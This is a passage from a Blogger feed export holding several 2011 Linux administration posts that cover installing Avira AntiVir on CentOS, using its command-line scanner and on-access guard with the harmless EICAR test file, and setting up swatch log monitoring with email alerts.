2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@centos home]# /etc/init.d/avguard restart&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;To check it out, we are going to download the EICAR file into the &lt;i&gt;/home&lt;/i&gt; directory and try out to dump it.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos home]# wget https://secure.eicar.org/eicar.com.txt&lt;br /&gt;&lt;br /&gt;[root@centos home]# cat eicar.com.txt &lt;br /&gt;cat: eicar.com.txt: Operation not supported&lt;br /&gt;&lt;br /&gt;[root@centos home]# tail -f /var/log/avguard.log &lt;br /&gt;2011-09-18 18:52:48 centos.local avguard.bin[1396]: AVGU: ALERT AntiVir ALERT for file "/home/eicar.com.txt": Details:        Eicar-Test-Signature ; virus ; Contains code of the Eicar-Test-Signature virus&lt;br /&gt;2011-09-18 18:52:48 centos.local avguard.bin[1396]: AVGU: INFO The concerning file /home/eicar.com.txt has been removed from disk.&lt;br /&gt;2011-09-18 18:52:48 centos.local avguard.bin[1396]: AVGU: INFO Info: the alert in file /home/eicar.com.txt was handled. Action(s) taken: access denied, condition logged, file deleted&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;As you have been able to appreciate, the infected file has been removed when we have tried to read it. So imagine the amount of possibilities which turn out from this module, such as to analyze on-real time a file uploaded to a FTP or HTTP (WebDAV) server, or for instance, you might use tools like &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/09/monitoring-logs-with-swatch.html"&gt;swatch&lt;/a&gt; in order to send an alert or execute a task.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-3006112403055220624?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/3006112403055220624/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/09/avira-antivir-personal-on-linux-iv.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3006112403055220624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3006112403055220624'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/09/avira-antivir-personal-on-linux-iv.html' title='Avira AntiVir Personal on Linux (IV)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-138668076380289435</id><published>2011-09-12T16:47:00.000+02:00</published><updated>2011-11-01T21:14:18.283+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Monitoring'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux tools'/><title type='text'>Monitoring logs with swatch</title><content type='html'>&lt;a href="http://sourceforge.net/projects/swatch/"&gt;Swatch&lt;/a&gt; is a GPL tool programmed in Perl which allows monitoring logs on real-time, and it is aimed to be able to execute an action when a certain situation takes place.&lt;br /&gt;&lt;br /&gt;An application can register an event into a file as a result of an error, warning, etc., and at that moment, it may be interesting to restart the involved service or for instance, to send an email reporting the alarm, all automatically.&lt;br /&gt;&lt;br /&gt;Here is where swatch turns up. You have got two ways to install it: either by means of the package which each distribution keeps in its repositories or directly by compiling the source code.&lt;br /&gt;&lt;br /&gt;In the case of Ubuntu, the installation is really simple: &lt;i&gt;aptitude install swatch&lt;/i&gt;. But in RHEL or CentOS, the package is not available in the official repositories of such distributions.&lt;br /&gt;&lt;br /&gt;Therefore, in the present article I am going to develop the installation of swatch (3.2.3) on CentOS 6.0 (32 bits, minimal installation) by downloading and installing the suitable packages from &lt;a href="http://rpm.pbone.net/"&gt;RPM PBone Search&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos tmp]# rpm -i perl-Carp-Clan-6.03-2.el6.noarch.rpm&lt;br /&gt;[root@centos tmp]# rpm -i perl-Bit-Vector-7.1-2.el6.i686.rpm&lt;br /&gt;[root@centos tmp]# rpm -i perl-Date-Calc-6.3-2.el6.noarch.rpm&lt;br /&gt;[root@centos tmp]# rpm -i perl-Date-Manip-5.54-4.el6.noarch.rpm &lt;br /&gt;[root@centos tmp]# rpm -i perl-TimeDate-1.16-11.1.el6.noarch.rpm&lt;br /&gt;[root@centos tmp]# rpm -i perl-Time-HiRes-1.9721-115.el6.i686.rpm&lt;br /&gt;[root@centos tmp]# rpm -i perl-File-Tail-0.99.3-8.el6.noarch.rpm&lt;br /&gt;[root@centos tmp]# rpm -i perl-Mail-Sendmail-0.79-12.el6.noarch.rpm&lt;br /&gt;&lt;br /&gt;[root@centos tmp]# rpm -i swatch-3.2.3-2.el6.noarch.rpm&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;So that swatch can send alarms by email, you have to install some kind of MTA (Mail Transfer Agent) on your system, such as Postfix.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# yum install postfix&lt;br /&gt;&lt;br /&gt;[root@centos ~]# cat /etc/postfix/main.cf&lt;br /&gt;...&lt;br /&gt;# Internet hostname&lt;br /&gt;myhostname = centos.local&lt;br /&gt;&lt;br /&gt;# Local Internet domain name&lt;br /&gt;mydomain = local&lt;br /&gt;&lt;br /&gt;# Domain that locally-posted mail appears to come from&lt;br /&gt;myorigin = $myhostname&lt;br /&gt;&lt;br /&gt;# Network interface addresses to receive mail&lt;br /&gt;inet_interfaces = all&lt;br /&gt;&lt;br /&gt;# List of domains to consider itself the final destination&lt;br /&gt;mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;[root@centos ~]# service postfix restart&lt;br /&gt;&lt;br /&gt;[root@centos ~]# chkconfig postfix on&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Through the following example, we will control the &lt;i&gt;/var/log/secure&lt;/i&gt; file in order to detect the login of the user &lt;i&gt;javi&lt;/i&gt; (we must look for the string "&lt;i&gt;Accepted password for javi&lt;/i&gt;").&lt;br /&gt;&lt;br /&gt;First of all, we have to create a directory to drop off the configuration files of swatch. Afterwards, we must set up a file with the needed instructions to log the access for the user javi. &lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# mkdir /etc/swatch&lt;br /&gt;&lt;br /&gt;[root@centos ~]# cat /etc/swatch/swatch.conf&lt;br /&gt;watchfor /Accepted password for javi/&lt;br /&gt;        mail addresses=root\@centos.local,subject="Session opened by javi"&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;With the previous line, swatch will monitor the content of a concrete file which will be later given with the target of matching the requested string. When the coincidental text is found, an email will be passed down.&lt;br /&gt;&lt;br /&gt;So as to start swatch, we must run the next command ('-t' option comes from the traditional 'tail -f'). If instead of using '-t' parameter, you add '-f', swatch would execute the defined configuration once and then, close the file. In this manner, the file is not open as in the case of a typical 'tail -f'.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# swatch -c /etc/swatch/swatch.conf -t /var/log/secure&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Swatch has got other many options for its configuration file, such as outputting the matched pattern, sending a bell, executing commands and so on. The following example watches for a couple of strings.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# cat /etc/swatch/swatch.conf&lt;br /&gt;watchfor /Accepted password for javi|Accepted password for pepe/&lt;br /&gt;    echo=red&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-138668076380289435?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/138668076380289435/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/09/monitoring-logs-with-swatch.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/138668076380289435'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/138668076380289435'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/09/monitoring-logs-with-swatch.html' title='Monitoring logs with swatch'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-5361755671670799368</id><published>2011-09-06T21:34:00.002+02:00</published><updated>2011-11-01T21:22:37.926+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Avira AntiVir Personal on Linux (III)</title><content type='html'>Now we have installed &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/08/avira-antivir-personal-on-linux-ii.html"&gt;Avira AntiVir Personal on Linux (II)&lt;/a&gt;, in this article I am going to treat one of its main modules: AntiVir Command Line Scanner (avcan).&lt;br /&gt;&lt;br /&gt;This component is launched from the command prompt (on-demand), and it takes care of analyzing files in order to look for possible malware infections. Avscan can delete, repair, isolate or simply warn.&lt;br /&gt;&lt;br /&gt;One of the most powerful advantages of this kind of tool is which can be integrated with scripts. In this way, you may use it for example with a web service, where the files are uploaded and it can be neccesary to scan them before storing the files into the hard drive.&lt;br /&gt;&lt;br /&gt;Avcan can be configured by means of its own configuration file (&lt;i&gt;/etc/avira/avscan.conf&lt;/i&gt;). In this manner, when you run the scanner, this will utilize the options established into the file (by default).&lt;br /&gt;&lt;br /&gt;But indeed, the most interesting possibility is to be able to set the scanning options when you execute it (on real-time), because for instance, you might have various scanning tasks with different types of analysis.&lt;br /&gt;&lt;br /&gt;Then let's take a look at the principal features of avcan. For this purpose, I will download the &lt;a href="http://www.eicar.org/"&gt;EICAR&lt;/a&gt; test file (harmless virus used to try out the behaviour of an antivirus).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# wget https://secure.eicar.org/eicar.com&lt;br /&gt;&lt;br /&gt;[root@centos ~]# avscan -h&lt;br /&gt;syntax: avscan [option ...] [directory] [filename] ...&lt;br /&gt;...&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;When a virus is detected, you may choose between several actions: ignore the alert (&lt;i&gt;none&lt;/i&gt; or &lt;i&gt;ignore&lt;/i&gt;), remove the file (&lt;i&gt;delete&lt;/i&gt; or &lt;i&gt;del&lt;/i&gt;), change the name of the file (&lt;i&gt;rename&lt;/i&gt; or &lt;i&gt;ren&lt;/i&gt;) or move the file into the quarantine area (&lt;i&gt;quarantine&lt;/i&gt;). You can also add the '-e' parameter so that the infected file is repaired whenever possible.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# avscan --batch --alert-action=quarantine eicar.com&lt;br /&gt;&lt;br /&gt;[root@centos ~]# avscan --batch --alert-action=delete -e eicar.com&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;By adding the '--batch' parameter, we are avoiding to be asked by avscan during the analysis, and all decisions are performed based on the configuration file and command-line settings.&lt;br /&gt;&lt;br /&gt;Other option is to detect certain categories of software which are not considered malware, such as jokes programs (&lt;i&gt;joke&lt;/i&gt;), files compressed with an unusual tool (&lt;i&gt;pck&lt;/i&gt;), dial-up programs (&lt;i&gt;dial&lt;/i&gt;) and so on. With the 'alltypes' option, all available types will be treated.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# avscan --batch --alert-action=delete --detect-prefixes="joke=yes phish=yes" eicar.com&lt;br /&gt;&lt;br /&gt;[root@centos ~]# avscan --batch --alert-action=delete --detect-prefixes=alltypes eicar.com&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Regarding the virus analysis, other important option is to enable the heuristic scanning. Avcan is able to use heuristics to conclude if a certain file is malicious. This allows that new or unknown code can be detected before an update. The level of heuristics increases the intensity of the scanning: 0 (off), 1 (low, by default), 2 (medium) and 3 (high).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# avscan --batch --alert-action=delete --heur-level=3 eicar.com&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;By default, avscan decides what files must be scanned from their name or content (&lt;i&gt;smart&lt;/i&gt;). You can force it to scan files according to their filename extensions (&lt;i&gt;extlist&lt;/i&gt;) or analyze all files regardless of their name or content (&lt;i&gt;all&lt;/i&gt;).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# avscan --batch --alert-action=delete --scan-mode=all dir/&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;With respect to the directories, if you want to enable the recursive scanning of all subdirectories within a specific path, you will have to add the '-s' parameter.&lt;br /&gt;&lt;br /&gt;And finally, also point out that avscan returns a code after ending the analysis, and it can be really useful to be managed through scripts.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# avscan --help&lt;br /&gt;...&lt;br /&gt;list of return codes:&lt;br /&gt;   0: Normal program termination, nothing found, no error&lt;br /&gt;   1: Found concerning file&lt;br /&gt;   3: Suspicious file found&lt;br /&gt;   4: Warnings were issued&lt;br /&gt; 255: Internal error&lt;br /&gt; 254: Configuration error (invalid parameter in command-line&lt;br /&gt;      or configuration file)&lt;br /&gt; 253: Error while preparing on-demand scan&lt;br /&gt; 252: The avguard daemon is not running&lt;br /&gt; 251: The avguard daemon is not accessible&lt;br /&gt; 250: Cannot initialize scan process&lt;br /&gt; 249: Scan process not completed&lt;br /&gt; 248: No valid license found&lt;br /&gt; 211: Program aborted, because the self check failed&lt;br /&gt;&lt;br /&gt;[root@centos ~]# avscan --batch --alert-action=delete eicar.com&lt;br /&gt;&lt;br /&gt;[root@centos ~]# echo $?&lt;br /&gt;1&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If you want to review the rest of options, you can check the &lt;i&gt;avscan.conf&lt;/i&gt; file or run the '--help' parameter.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-5361755671670799368?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/5361755671670799368/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/09/avira-antivir-personal-on-linux-iii.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/5361755671670799368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/5361755671670799368'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/09/avira-antivir-personal-on-linux-iii.html' title='Avira AntiVir Personal on Linux (III)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-7341683604747504019</id><published>2011-08-30T15:58:00.030+02:00</published><updated>2011-11-01T21:23:11.601+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Avira AntiVir Personal on Linux (II)</title><content type='html'>Once we have installed DazukoFS on the system - &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/08/avira-antivir-personal-on-linux-i.html"&gt;Avira AntiVir Personal on Linux (I)&lt;/a&gt; -, we are going ahead with the installation of &lt;a href="http://www.avira.com/en/support-download-free-antivirus"&gt;Avira AntiVir&lt;/a&gt; 3.1.3.5.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos tmp]# wget http://dlpe.antivir.com/package/wks_avira/unix/en/pers/antivir_workstation-pers.tar.gz&lt;br /&gt;&lt;br /&gt;[root@centos tmp]# tar xvzf antivir_workstation-pers.tar.gz ; cd antivir-workstation-pers-3.1.3.5-0&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The installation process is carried out by means of a bash script. After agreeing the license, the installer asks if we want to create a link for &lt;span style="font-style: italic;"&gt;avupdate-guard&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos antivir-workstation-pers-3.1.3.5-0]# ./install&lt;br /&gt;...&lt;br /&gt;Would you like to create a link in /usr/sbin for avupdate-guard ? [y]&lt;br /&gt;linking /usr/sbin/avupdate-guard to /usr/lib/AntiVir/guard/avupdate-guard ... done&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Then the script can establish a cron task (&lt;span style="font-style: italic;"&gt;/etc/cron.d/avira_updater&lt;/span&gt;) for automatic updates.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;Would you like to setup Scanner update as cron task ? [y]&lt;br /&gt;...&lt;br /&gt;What time should updates be done [00:15]?&lt;br /&gt;creating Scanner update cronjob ... done&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The previous task checks if there is any update related to the scanner, engine or vdf files. On the contrary, if you accept the next request, the Guard module will be also updated periodically.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;Would you like to check for Guard updates once a week ? [n]&lt;br /&gt;&lt;br /&gt;setup internet updater complete&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Next step takes care of installing DazukoFS. Due to this operation was previously accomplished, it will not be necessary to repeat it.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;Preinstalled dazukofs module found on your system.&lt;br /&gt;&lt;br /&gt;Would you like to reinstall dazukofs now ? [y] n&lt;br /&gt;Dazukofs module is loaded&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Through the following question, you can specify what directories must be protected by AntiVir Guard. I have selected the default option. Later, you may change this choice or add more directories by editing the &lt;span style="font-style: italic;"&gt;fstab&lt;/span&gt; file.&lt;br /&gt;&lt;br /&gt;Watch out with this selection, because regardless of the antivirus used, when you set up an on-access daemon, you have to avoid certain directories such as &lt;span style="font-style: italic;"&gt;/sys&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;/proc&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;/root&lt;/span&gt; or directly &lt;span style="font-style: italic;"&gt;/&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;Guard will automatically protect all directories which are mounted upon dazukofs filesystem.&lt;br /&gt;&lt;br /&gt;Please specify at least one directory to be protected by Guard to add in /etc/fstab : [/home]&lt;br /&gt;The following directories will be protected by Guard:&lt;br /&gt;/home&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Then the installer verifies if the &lt;span style="font-style: italic;"&gt;quarantine&lt;/span&gt; directory exists. This directory is used to isolate a suspect or infected file, so as to be able to repair it later.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;Would you like to create /home/quarantine ? [y]&lt;br /&gt;creating /home/quarantine ... done&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Afterwards, you are asked if you want to make a link to AntiVir Guard and whether it should be automatically activated at system start.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;Would you like to create a link in /usr/sbin for avguard ? [y]&lt;br /&gt;linking /usr/sbin/avguard to /usr/lib/AntiVir/guard/avguard ... done&lt;br /&gt;&lt;br /&gt;Please specify if boot scripts should be set up.&lt;br /&gt;Set up boot scripts ? [y]&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;With the last step, we run AntiVir Guard.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;Would you like to start AVIRA Guard now? [y]&lt;br /&gt;Starting AVIRA AntiVir Workstation Personal ...&lt;br /&gt;Starting: avguard.bin&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;After ending up the installation, it is highly recommended to perform a complete update of the application.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# avupdate-guard --product=Guard&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-7341683604747504019?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/7341683604747504019/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/08/avira-antivir-personal-on-linux-ii.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/7341683604747504019'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/7341683604747504019'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/08/avira-antivir-personal-on-linux-ii.html' title='Avira AntiVir Personal on Linux (II)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-7991011024677804627</id><published>2011-08-22T15:56:00.015+02:00</published><updated>2011-11-01T21:24:47.123+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Avira AntiVir Personal on Linux (I)</title><content type='html'>I have always said over and over that the myth about there are no viruses for Linux is absolutely false. Occurs that there are fewer viruses on Linux because it is an open operating system, so many people may contribute quickly to fix its fails. In addition,  it is more robust and less used than Windows, thereby hackers have got less interest to break it.&lt;br /&gt;&lt;br /&gt;But figure for a moment when you are surfing the net, for instance with Firefox, and it turns out that your browser contains any critical vulnerability, or for example, the web page which you are visiting utilizes Java or Flash, and the versions that you have installed on your Linux system are vulnerable... your computer would be exposed to any attack or malware infection.&lt;br /&gt;&lt;br /&gt;Now it is clear that many times, Linux is not really the guilty, but the responsability comes from third-party software. For that reason, I think that it is necessary to have installed a good antivirus on our Linux systems, regardless of the kind of distribution.&lt;br /&gt;&lt;br /&gt;There are several good and free antivirus for Linux, such as &lt;a href="http://www.avast.com/"&gt;avast&lt;/a&gt;, &lt;a href="http://www.clamav.net/"&gt;ClamAV&lt;/a&gt;, &lt;a href="http://free.avg.com/"&gt;AVG&lt;/a&gt;, but my favourite option is &lt;a href="http://www.avira.com/"&gt;Avira AntiVir&lt;/a&gt;. Its main features are:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Easy installation through a script.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Command Line Scanner: configurable on-demand searches for all malware types (viruses, horms, backdoors, trojans, etc.).&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Resident guard: configurable on-access actions (block, delete, repair, move and rename) when malware is detected.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Heuristic detection.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Automatic update for product, scan engine and virus signature file.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The most important characteristic of Avira with regard to other solutions is the &lt;b&gt;AntiVir Guard&lt;/b&gt; module (ClamAV has got it too), which runs as a daemon process and it is permanently monitoring all the accesses to the system (on-access) and saving it against possible viruses.&lt;br /&gt;&lt;br /&gt;In addition, the &lt;a href="http://www.av-comparatives.org/"&gt;AV-Comparatives&lt;/a&gt; organization published in April 2011 the last review about &lt;a href="http://www.av-comparatives.org/images/stories/test/ondret/avc_od_feb2011.pdf"&gt;On-demand Detection of Malicious Software&lt;/a&gt;, and Avira AntiVir reached excellent results.&lt;br /&gt;&lt;br /&gt;Other modules belonging to Avira are &lt;b&gt;AntiVir Command Line Scanner&lt;/b&gt; (allows to scan files in search of viruses or suspicious elements, and it can be integrated with scripts) and &lt;b&gt;AntiVir Updater&lt;/b&gt; (downloads current updates from the Avira web servers, manually or automatically).&lt;br /&gt;&lt;br /&gt;Also say that AntiVir Guard is based on &lt;a href="http://www.dazuko.org/"&gt;DazukoFS&lt;/a&gt;, an open source software that provides a kernel module which lets execute online file access control, by intercepting memory and disk calls and passing the information to an user space application, in this case Avira AntiVir. Other applications are also based on Dazuko, such as ClamAV, Panda Security for Linux, F-Secure, etc.&lt;br /&gt;&lt;br /&gt;The AntiVir 